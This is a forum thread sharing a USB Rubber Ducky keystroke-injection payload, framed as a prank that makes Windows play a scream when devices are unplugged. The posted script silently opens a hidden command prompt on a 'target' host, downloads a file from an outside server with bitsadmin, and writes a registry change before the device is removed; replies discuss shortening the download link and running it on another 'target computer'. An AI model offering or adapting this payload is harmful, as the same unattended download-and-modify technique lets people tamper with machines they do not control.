Jump to content
Korben

[PAYLOAD] Making Windows scream when you unplug devices

Recommended Posts

I'm sure everyone at some point in their life has unplugged something from a Windows machine and heard the notification sound. 

This is obviously way too robotic and lifeless for my taste; here is a ducky payload that will replace device disconnect sounds with a scream.

Just in case you want it to feel like a living thing that is suffering as you rip parts off of it.

Inspiration from watching too much Michael Reeves. 


Requires internet access on the target Windows host; this is just the shortest/fastest way to drop this kind of payload. Other staging/injection techniques could be used to supplement the download.


This will open run and execute the .wav download and registry changes in the background. Give it a couple of seconds to download. The change should be made by the time you remove the ducky from the target.

DELAY 3000
GUI r
DELAY 350
STRING cmd /C "start /MIN cmd /C bitsadmin.exe /transfer 'e' http://h4k.cc/s.wav %USERPROFILE%\s.wav&&@reg add HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\.Current\ /t REG_SZ /d %USERPROFILE%\s.wav /f"
ENTER

This downloads a sample .wav (Doom). Replace the above url with another that hosts the desired .wav if you want to change the sound.

Fastest way to encode this would be using our single file JS Duck Encoderhttps://downloads.hak5.org/ducky
 

  • Like 3
  • Upvote 1

Share this post


Link to post
Share on other sites

Run limits use of character, yours works because you have pretty short url but its awesome so i will try finding a audio file having short url or maybe you could host it! 

Share this post


Link to post
Share on other sites
Posted (edited)
5 hours ago, cuckkoo said:

so i will try finding a audio file having short url or maybe you could host it!

You could also try using a link shortening service to make any long link much smaller.

Edited by Just_a_User
  • Upvote 1

Share this post


Link to post
Share on other sites

Just got my first rubber ducky. Copied this payload to it and changed the layout to spanish (that's the languaje of the target computer), it seems like the payload runs, but nothing happens. Why could this be?

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...